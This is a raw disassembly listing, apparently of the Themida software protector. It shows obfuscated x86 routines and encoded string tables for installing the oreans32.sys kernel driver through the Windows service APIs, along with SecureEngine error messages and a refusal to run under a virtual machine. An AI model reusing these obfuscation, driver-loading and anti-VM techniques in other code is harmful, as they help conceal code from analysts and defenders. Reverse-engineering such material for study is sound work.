loc_5A8BB3: ; CODE XREF: sub_5A8A14+18Fj lea esi, [ebp+617EEE9h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8BDB mov dword ptr [ebp+6151351h], 1 loc_5A8BDB: ; CODE XREF: sub_5A8A14+1B7j lea esi, [ebp+617EEF6h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8C03 mov dword ptr [ebp+6151E15h], 1 loc_5A8C03: ; CODE XREF: sub_5A8A14+1DFj lea esi, [ebp+617EF01h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8C2B mov dword ptr [ebp+6151085h], 1 loc_5A8C2B: ; CODE XREF: sub_5A8A14+207j jmp loc_5A8C31 ; --------------------------------------------------------------------------- loc_5A8C30: ; CODE XREF: sub_5A8A14+229j inc edi loc_5A8C31: ; CODE XREF: sub_5A8A14:loc_5A8C2Bj cmp byte ptr [edi], 20h jz locret_5A8C43 cmp byte ptr [edi], 0 jnz loc_5A8C30 locret_5A8C43: ; CODE XREF: sub_5A8A14+220j retn sub_5A8A14 endp ; =============== S U B R O U T I N E ======================================= sub_5A8C44 proc near ; CODE XREF: sub_5A8A14+6p ; sub_5A8A14+2Fp ... pusha mov ecx, 1 mov ebx, esi jmp loc_5A8C6D ; --------------------------------------------------------------------------- loc_5A8C51: ; CODE XREF: sub_5A8C44+34j cmp byte ptr [edi], 0 jnz loc_5A8C5F mov ecx, 0 loc_5A8C5F: ; CODE XREF: sub_5A8C44+10j mov dl, [edi] cmp [esi], dl jz loc_5A8C6B sub ecx, ecx loc_5A8C6B: ; CODE XREF: sub_5A8C44+1Fj inc esi inc edi loc_5A8C6D: ; CODE XREF: sub_5A8C44+8j cmp byte ptr [esi], 0 jz loc_5A8C7E or ecx, ecx jnz loc_5A8C51 loc_5A8C7E: ; CODE XREF: sub_5A8C44+2Cj or ecx, ecx jz loc_5A8CA7 cmp byte ptr [edi], 0 jz loc_5A8C98 cmp byte ptr [edi], 20h jnz loc_5A8CA2 loc_5A8C98: ; CODE XREF: sub_5A8C44+45j mov ecx, 1 jmp loc_5A8CA7 ; --------------------------------------------------------------------------- loc_5A8CA2: ; CODE XREF: sub_5A8C44+4Ej mov ecx, 0 loc_5A8CA7: ; CODE XREF: sub_5A8C44+3Cj ; sub_5A8C44+59j or ecx, ecx jz loc_5A8CBC sub esi, ebx mov [ebp+617EF22h], esi jmp loc_5A8CC6 ; --------------------------------------------------------------------------- loc_5A8CBC: ; CODE XREF: sub_5A8C44+65j mov dword ptr [ebp+617EF22h], 0 loc_5A8CC6: ; CODE XREF: sub_5A8C44+73j popa retn sub_5A8C44 endp ; --------------------------------------------------------------------------- loc_5A8CC8: ; CODE XREF: Themida_:005A89A7j ; Themida_:005A89B1j ... mov eax, 0 or eax, eax jz loc_5A8CDF mov dword ptr [ebp+6152FF1h], 0 loc_5A8CDF: ; CODE XREF: Themida_:005A8CCFj mov ecx, eax jmp loc_5A9D9D ; --------------------------------------------------------------------------- dw 4441h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0) dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h db 8, 4, 0 byte_5A9CF7 db 94h ; DATA XREF: Themida_:00579DE8o ; Themida_:0057C7B0o dd 5000000h, 1000000h, 28000000h, 200000Ah, 53000000h dd 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0) dd 53000000h, 7774666Fh, 5C657261h, 656E6957h db 0 ; --------------------------------------------------------------------------- loc_5A9D9D: ; CODE XREF: Themida_:005A8CE1j mov eax, esp push esi jmp loc_5A9DAB ; --------------------------------------------------------------------------- db 0Ch, 0A1h, 0Ch db 0F1h, 93h, 0C2h ; --------------------------------------------------------------------------- loc_5A9DAB: ; CODE XREF: Themida_:005A9DA0j pop edi mov [ebp+6151D09h], eax mov ch, 95h mov eax, eax or dx, 26Eh cmp dword ptr [ebp+61508F5h], 0 jnz short loc_5A9DCD cmp dword ptr [ebp+61503ADh], 0 jz short loc_5A9DE6 loc_5A9DCD: ; CODE XREF: Themida_:005A9DC2j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6151385h], eax lea ebx, [ebp+617AA9Eh] call ebx ; _iob pop ebx pop eax loc_5A9DE6: ; CODE XREF: Themida_:005A9DCBj cmp dword ptr [ebp+61503ADh], 0 jz short loc_5A9E06 push eax push ebx mov eax, 43Dh mov [ebp+6151385h], eax lea ebx, [ebp+617A78Dh] call ebx ; _iob pop ebx pop eax loc_5A9E06: ; CODE XREF: Themida_:005A9DEDj mov edi, [ebp+61514D5h] mov [ebp+6152D01h], ecx mov eax, eax mov [ebp+6152A99h], esi mov eax, eax mov ecx, edi cmp dword ptr [ebp+61508F5h], 0 jnz short loc_5A9E30 cmp dword ptr [ebp+61503ADh], 0 jz short loc_5A9E43 loc_5A9E30: ; CODE XREF: Themida_:005A9E25j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+617A940h] call ebx ; _iob pop ebx pop eax loc_5A9E43: ; CODE XREF: Themida_:005A9E2Ej cmp dword ptr [ebp+61503ADh], 0 jz short loc_5A9E5D push eax push ebx mov eax, 0 lea ebx, [ebp+617A7F1h] call ebx ; _iob pop ebx pop eax loc_5A9E5D: ; CODE XREF: Themida_:005A9E4Aj mov edi, [ebp+6151859h] push 0 push ebp call sub_5A9E6E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9E6E proc near ; CODE XREF: Themida_:005A9E66p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5A9E6E endp ; --------------------------------------------------------------------------- dw 0CDF5h dd 0D10757F4h, 7F933C80h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8589BEC3h, 61526D1h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD2B22C3h, 6152D71h, 8F5BD83h, 75000615h dd 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh, 8D000000h dd 17A8729Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501174h dd 0B8h, 0BF9D8D00h, 0FF0617A7h, 0E8585BD3h, 5, 0C07A279Fh dd 0E58509F6h, 5A061528h, 0A85BD89h, 0BD890615h, 61511E1h dd 0F53C08Bh, 28Ch, 59CF8B00h, 8D8BC08Bh, 6152ED9h, 8F5BD83h dd 75000615h, 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh dd 8D000000h, 17A8D99Dh, 5BD3FF06h, 0ADBD8358h, 61503h dd 53501174h, 0B8h, 0D89D8D00h, 0FF0617A7h, 66585BD3h dd 0D3FBD781h, 1A25BD8Bh, 14E90615h, 0CE000000h, 0D3F14C48h dd 1FCCE47Ah, 676AFE42h, 0B50980A4h, 8B3792C7h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0E226968Eh, 917CAD41h, 0C08BD78Bh, 1D850360h, 8106150Dh dd 0FA968EC1h, 0CA8A6125h, 8F5BD83h, 75000615h, 0ADBD8309h dd 61503h, 53501374h, 0B8C08Bh, 8D000000h, 17A80B9Dh, 5BD3FF06h dd 79BD8958h, 81061524h, 0F41E40EFh, 0FE924h, 0B6E90000h dd 90EEF2CBh, 251F2509h, 7AFB655h, 6AC08BB9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0B384C351h, 0E9B90F53h, 9, 0E9DF7337h, 0F5806051h, 89C08B60h dd 15023D8Dh, 0F5BD8306h, 61508h, 0BD830975h, 61503ADh dd 50197400h, 0B8C08B53h, 7D0h, 13858589h, 9D8D0615h, 617AA9Eh dd 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h, 7D0h, 13858589h dd 9D8D0615h, 617A78Dh, 585BD3FFh, 0A9E98166h, 0D2EA8061h dd 8166C08Bh, 0C65D17D7h, 1509C585h, 0CA815306h, 25DABC72h dd 840F60h, 8B000000h, 15019185h, 90686106h, 0E999395Fh dd 14h, 0B2FFE26Ch, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh dd 9F4C2E9Ch, 1685B5FFh, 8B600615h, 85BD89F2h, 61061508h dd 3B38858Dh, 952B0615h, 61518F5h, 0CEB1D0FFh, 2C98589h dd 8B660615h, 0C585C6D6h, 57061509h, 0D8D8D89h, 6680615h dd 81900452h, 0E4CFF9EAh, 85B5FF3Eh, 0F061516h, 858DF9BFh dd 6153B38h, 26C58D89h, 0D0FF0615h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 69C35545h, 840F34F2h, 6, 2C71BD8Bh dd 850F0615h, 6, 26B58D8Bh, 85890615h, 61508BDh, 7AFABA66h dd 198F0Fh, 14E90000h, 0E1000000h, 0E36EB5C6h, 0F2896510h dd 0DECCF514h, 51588380h, 0C61E9FA1h, 1509C585h, 8D8B4306h dd 6153479h, 8121BF66h, 90702868h, 0FFD68BBCh, 151685B5h dd 18D8906h, 81061501h, 0B7BF09D1h, 38858D4Ch, 8B06153Bh dd 151D8195h, 6AD0FF06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 7C03C355h, 3C7CC2EFh dd 0FFD78166h, 75EE806Ah, 339D8589h, 0C6F50615h, 1509C585h dd 81664C06h, 684F36F7h, 0D9DA1CE9h, 6DF8166h, 85B5FFCEh dd 8B061516h, 150C1195h, 38858D06h, 6606153Bh, 0FF17CAB9h dd 0BFC3BAD0h, 85890B21h, 61507D5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 40C35040h, 0C585C619h, 46061509h dd 22E59D89h, 14680615h, 0E9BADE06h, 9, 9D84F6E3h, 6D96B73Ah dd 85B5FFB2h, 66061516h, 1EBEF181h, 26F98D8Bh, 858D0615h dd 6153B38h, 0ECC9E981h, 0D0FF4520h, 85897FB6h, 6152629h dd 0C585C6F5h, 47061509h, 6820Fh, 0E1810000h, 718A0FB5h dd 0FB5E268h, 18C0F8Ah, 0F5000000h, 1685B5FFh, 0C88B0615h dd 3B38858Dh, 0BA660615h, 0D0FFA284h, 270DBD29h, 85890615h dd 6150E1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 75C35040h, 19FC3456h, 0DDA27B97h, 0C585C611h, 47061509h dd 0E6CA8166h, 0B5F368E8h, 852983D0h, 6151575h, 1685B5FFh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 9C9901C3h, 6B259D51h, 38858D26h, 6006153Bh dd 5A431DBBh, 91BF661Fh, 0D0FF6191h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 8FC35040h, 0C6B6BA66h, 0F2DA8052h dd 0B185895Fh, 6A061504h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D80FC350h, 7D6EA7ECh dd 80F33C60h, 85C6E2CAh, 61509C5h, 56006A77h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 54D3EBFAh dd 68F9B00Fh, 0F397A8A3h, 11C28166h, 89B5FF1Fh, 0E8061507h dd 0Bh, 0D2B3D5C9h, 0C494F932h, 66A780A2h, 5AD0B4BAh, 5890Fh dd 81660000h, 8D0F6DDFh, 153B3885h, 45858906h, 0FF061511h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0CAB93B8Ch, 2F298589h, 6A0615h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0CCB58C3h, 5E78AEE3h, 0E2816606h, 85C647FBh, 61509C5h dd 0E58D8B47h, 68061523h, 8728FAF6h, 0FFD38B66h, 151685B5h dd 0EDB53106h, 8D06152Fh, 153B3885h, 45958B06h, 0FF06150Ah dd 0EF8166D0h, 85894537h, 61516DDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 8C35646h, 8438843h, 0D18B5EB0h dd 2925958Bh, 85C60615h, 61509C5h, 6EFC6843h, 12E9BC8Eh dd 3E000000h, 0C521D995h, 0B9001DE5h, 0D5A73991h, 0D12D5E41h dd 85B5FFEEh, 0E8061516h, 0Dh, 0AC05D86Eh, 0C4B4955Bh dd 0A51B3C2h, 0E2816605h, 8D5F69EEh, 153B3885h, 6AD0FF06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0A676C351h, 9DCEDA30h, 89F5F88Bh, 1510F985h dd 10E906h, 30AE0000h, 99A681D2h, 2A10C2FBh, 0AC91C282h dd 0BF0F63C7h, 0C585C6CFh, 45061509h, 1190B966h, 72696968h dd 0C981668Eh, 99B968BBh, 0FF17F8DEh, 151685B5h, 2DB52906h dd 8D061529h, 153B3885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 45C5C18Bh, 29B9665Fh dd 0FD0FF70h, 8589D2BFh, 6152669h, 7BD18166h, 0C585C672h dd 44061509h, 0FDF18166h, 6468FC16h, 6AB8F2ECh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0CA40C355h, 6EB9F94h, 0E7B96651h, 85B5FFD8h, 66061516h dd 8166FA8Bh, 8D8CABF2h, 153B3885h, 0FFCF8A06h, 1BD31D0h dd 89061521h, 15097D85h, 8FBA6606h, 0C585C655h, 43061509h dd 10CF8166h, 0CD958B0Dh, 68061519h, 0C0764AA7h, 8F18D8Bh dd 0B5FF0615h, 6151685h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0C6C35545h, 44AFFD0Dh, 5BD092Dh, 0F061534h dd 858DFABFh, 6153B38h, 6D88E281h, 0D0FF5534h, 1A058D31h dd 85890615h, 6150DCDh, 7019D89h dd 0BD800615h, 617FEA5h, 0E4840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0A91FC350h, 8B5B589h, 858D0615h, 617FE87h, 0D958D89h dd 0AAB20615h, 9BA6650h, 6A016A67h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0ED7EC353h dd 6AD3B70Fh, 0EA816600h, 6AFA9Fh, 1CB19D89h, 95FF0615h dd 615339Dh, 0BD8589F8h, 89061503h, 150CC1B5h, 6AFF6A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0AD2FC353h, 9CD5B88Ah, 0A05CEB0Dh, 1DE5958Bh dd 0B5FF0615h, 61503BDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 6EC35141h, 0B2CFC069h, 0CF7F2C02h, 8D8B57FBh dd 61528B1h, 0FFCE8B59h, 1508BD95h, 8BEC8A06h, 0B5950BC0h dd 83061512h, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h dd 8B535019h, 7D1B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h, 7D1B853h dd 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h, 14E8585Bh dd 0DB000000h, 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh dd 890547BCh, 1522D985h, 6A5F06h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0F2B52CC3h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 387441C3h, 0C585C65Dh, 47061509h, 81B52960h, 6106150Dh dd 0C8F7C168h, 52006A93h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0F9DA0D25h, 0FB8BEFACh dd 1685B5FFh, 858D0615h, 6153B38h, 5FE3B556h, 8B50D0FFh dd 0FFB70FCBh, 2C8858Dh, 85090618h, 61503B9h, 9400C7h dd 85290000h, 6151041h, 0ABB9C281h, 895820B3h, 150A6D8Dh dd 0A18D8B06h, 8D06150Bh, 1802C8B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0F224B2D1h dd 8B667AA1h, 0D19D01CAh, 60061506h, 2489EEBEh, 3C38178h dd 611BAEDCh, 6AD0FF56h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 5920C356h, 0B70FAA14h dd 9D8956FEh, 6150BF1h, 0C8858D5Ah, 6A061802h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 7D39C351h, 0BCCE8B11h, 95897790h, 6152D81h, 6047883h dd 16850Fh, 0D68B0000h, 35C85C7h, 10618h, 950B0000h, 6152A25h dd 1329BF66h, 0A19BD83h, 0F000615h, 5685h, 358D0900h, 0E8061501h dd 0Ah, 585E3289h, 0B16EF3E2h, 9529B7D4h, 6153425h, 5CBD8359h dd 61803h, 2D850Fh, 58B90000h, 0B62E770Fh, 0F5BD83B3h dd 61527h, 19840Fh, 952B0000h, 6151821h, 265DBD0Bh, 85C70615h dd 61511C1h, 0 dd 66F8BF0Fh, 0DA80DB8Ch, 4C3F61Bh, 478840Fh, 13E80000h dd 0C4000000h, 764E929Ch, 0FF4786ABh, 0F2692041h, 50F47834h dd 8D0F15F7h, 2, 895AD38Bh, 150141BDh, 0B585C706h, 6152Dh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 6E96C355h, 0BA91287Eh, 0B2BD8061h dd 617FEh, 3850Fh, 0B70F0000h, 0C585C6CBh, 47061509h, 8668F88Bh dd 66E3E45Bh, 3D23D281h, 0DE5BD8Bh, 0B5FF0615h, 6151685h dd 0A8BCBA66h, 3B38858Dh, 0B5890615h, 6151371h, 0BD8BD0FFh dd 6152965h, 10468h, 1DBD8B00h, 8D06151Ah, 152B499Dh, 0B1952B06h dd 53061533h, 38A0Fh, 0BF0F0000h, 0FD0FFC8h, 68Dh, 0C1B58900h dd 89061508h, 152B3D95h, 49858D06h, 6606152Bh, 0AFF5D181h dd 13E850h, 3E070000h, 5539FFAFh, 3542F4D2h, 0B85F5A70h dd 5132FAD0h, 458D8B5Bh, 5A061534h, 0FE64858Dh, 0EE80617h dd 0C1000000h, 679E226Bh, 3A0CD4D8h, 0F2ABE2E0h, 9D29508Eh dd 6152325h, 66505F59h, 858DCF8Bh, 617F537h, 50D18B66h dd 1019589h, 95FF0615h, 6152F29h, 13810Fh, 0EE90000h, 0E4000000h dd 633CF005h, 6A1DF768h, 0B3DE9184h, 0CC483ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DAC35242h, 0DC42058Eh dd 0F22429Bh, 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h dd 617F537h, 0F995FF50h, 89061510h, 17FE4785h, 0C585C606h dd 47061509h, 0B15E8768h, 85B5FFC7h, 8D061516h, 153B3885h dd 6AD0FF06h, 47B5FF00h, 0FF0617FEh, 6850FD0h, 81000000h dd 0A7E027D7h, 57006A2Ch, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 83433136h, 66D6BD6Dh dd 2DC1E181h, 37D03Dh, 3E830F00h, 66000000h, 0B5FFD18Bh dd 617FE47h, 11A1BD8Bh, 95FF0615h, 6150DCDh, 8850Fh, 8B510000h dd 15051D8Dh, 0B3E95F06h, 0E8000000h, 0Eh, 1DA51D68h, 0DF8A140h dd 8ADB7C6Fh, 0EA8A9206h, 47B5FF5Ah, 500617FEh, 8398D89h dd 0FF5F0615h, 150DCD95h, 25958906h, 6A061523h, 418D8B00h dd 6A061506h, 0BDBD8B00h, 6A06152Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0E9736FAh dd 8148DB8Ah, 0A8D9BCF7h, 0B9006A4Eh, 1CD3F0ADh, 8B0F006Ah dd 6, 75D9D89h, 6A0615h, 8DD6BF0Fh, 17FE4B85h, 50FA8B06h dd 33999D89h, 95FF0615h, 61510F9h, 8BB1EA80h, 0FFF883D6h dd 117850Fh, 840F0000h, 6, 0A204C281h, 858D7D56h, 617B518h dd 0C820Fh, 8E0F0000h, 6, 0A159501h, 0D0FF0615h, 6AD78Bh dd 58A0Fh, 0A3B90000h, 6A3A8B82h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 520CEC8Fh dd 2CC65677h, 0ABD28166h, 3DDF818Ah, 6A22A8C3h, 8B006A00h dd 151E918Dh, 8B006A06h, 6AD78BCAh, 0DD9D8900h, 8D061506h dd 17FE4B85h, 9D015006h, 6150315h, 10F995FFh, 0E9600615h dd 0Ch, 0A3B6F159h, 0DAD80D83h, 0FE940BE6h, 1675BD8Bh dd 83610615h, 850FFFF8h, 65h, 8D1EC580h, 17F853B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8DEF63D1h, 17A3E185h, 0FE806h, 0C85D0000h, 0D6FE16C4h dd 14CAC07Eh, 0BEB81DCDh, 0D7B96629h, 0BD8B5A06h, 6150479h dd 0B529D0FFh, 6152665h, 0F56006Ah, 84h, 95FF5A00h, 6152669h dd 478589F9h, 0E90617FEh, 6, 3FA4349Eh, 6AF9FA9Eh, 3F858D00h dd 0F0617FEh, 586h, 0E7816600h, 66506FD7h, 6A8F68B9h, 0D9BD8B04h dd 8D061507h, 150B8D85h, 3D953106h, 0F06152Ah, 0B8Bh, 85896000h dd 61511A1h, 61F3BF0Fh, 8D0B5150h, 6151D9Dh, 52006A59h dd 6A5FD78Bh, 0D7B70F00h, 0C980016Ah, 0DD8501E7h, 0FF061501h dd 17FE47B5h, 0A8D0F06h, 60000000h, 0E40695BEh, 0F38B661Eh dd 0F8B70F61h, 97D95FFh, 0D78B0615h, 1BE2E9F5h, 0C08B0000h dd 8F5BD83h, 75000615h, 0ADBD8309h, 61503h, 53501974h dd 0D2B8C08Bh, 89000007h, 15138585h, 9E9D8D06h, 0FF0617AAh dd 83585BD3h, 1503ADBDh, 17740006h, 0D2B85350h, 89000007h dd 15138585h, 8D9D8D06h, 0FF0617A7h, 0F585BD3h, 68Eh, 0CD958B00h dd 0E9061527h, 6, 3ABEAB4Eh, 890FA84Ah, 2, 12E92AB2h, 0AF000000h dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 89C08BBFh dd 15189DB5h, 0B585C706h, 106152Dh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6A5EC355h, 8169C1C7h, 81CB9293h, 0CFE551EFh, 49BD330Bh dd 68061503h, 0CEE4E7B8h, 1789B5FFh, 858D0615h, 6153B38h dd 8589D0FFh, 615221Dh, 0A3858Dh, 8D500618h, 18036085h dd 1685006h, 0FF800000h, 15221D95h, 75C00B06h, 4185C70Ah dd 106152Ah, 68000000h, 0C005DBD4h, 1789B5FFh, 858D0615h dd 6153B38h, 8589D0FFh, 6152391h, 0F2F0858Dh, 0FF500617h dd 151685B5h, 1D95FF06h, 0B06150Eh, 8B0B74C0h, 0A3858DD8h dd 50061802h, 858DD3FFh, 61802A3h, 9388366h, 85C70A75h dd 615295Dh, 1, 16DD95FFh, 0FF250615h, 83000000h, 0A7305F8h dd 216985C7h, 10615h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0EE061EC3h, 0EB0F955Ch dd 0E2F680D6h, 4AD9523h, 93B20615h, 0FEB2BD80h, 0F000617h dd 4E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0B78FFA97h, 0F5D91D5h, 1689h, 11E900h dd 44820000h, 0DFFF6556h, 0D6E94A85h, 5AC12607h, 83240A96h dd 18035CBDh, 840F0006h, 0Dh, 0E9FE8B66h, 19E4h, 0CFB70F51h dd 5DBD8359h, 61529h, 0DF850Fh, 85010000h, 615002Dh, 0FE7C858Dh dd 0C9810617h, 1DFCA11Ah, 0CBBF0F50h, 8B66016Ah, 0E8006AFEh dd 14h, 96DDD959h, 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh dd 19850Fh, 14E90000h, 57000000h, 90F3CC98h, 0C100D504h dd 0D51E7EECh, 5649D822h, 5935A8D0h, 95FF006Ah, 615339Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h dd 897257B9h, 17FEA685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 1F06061h, 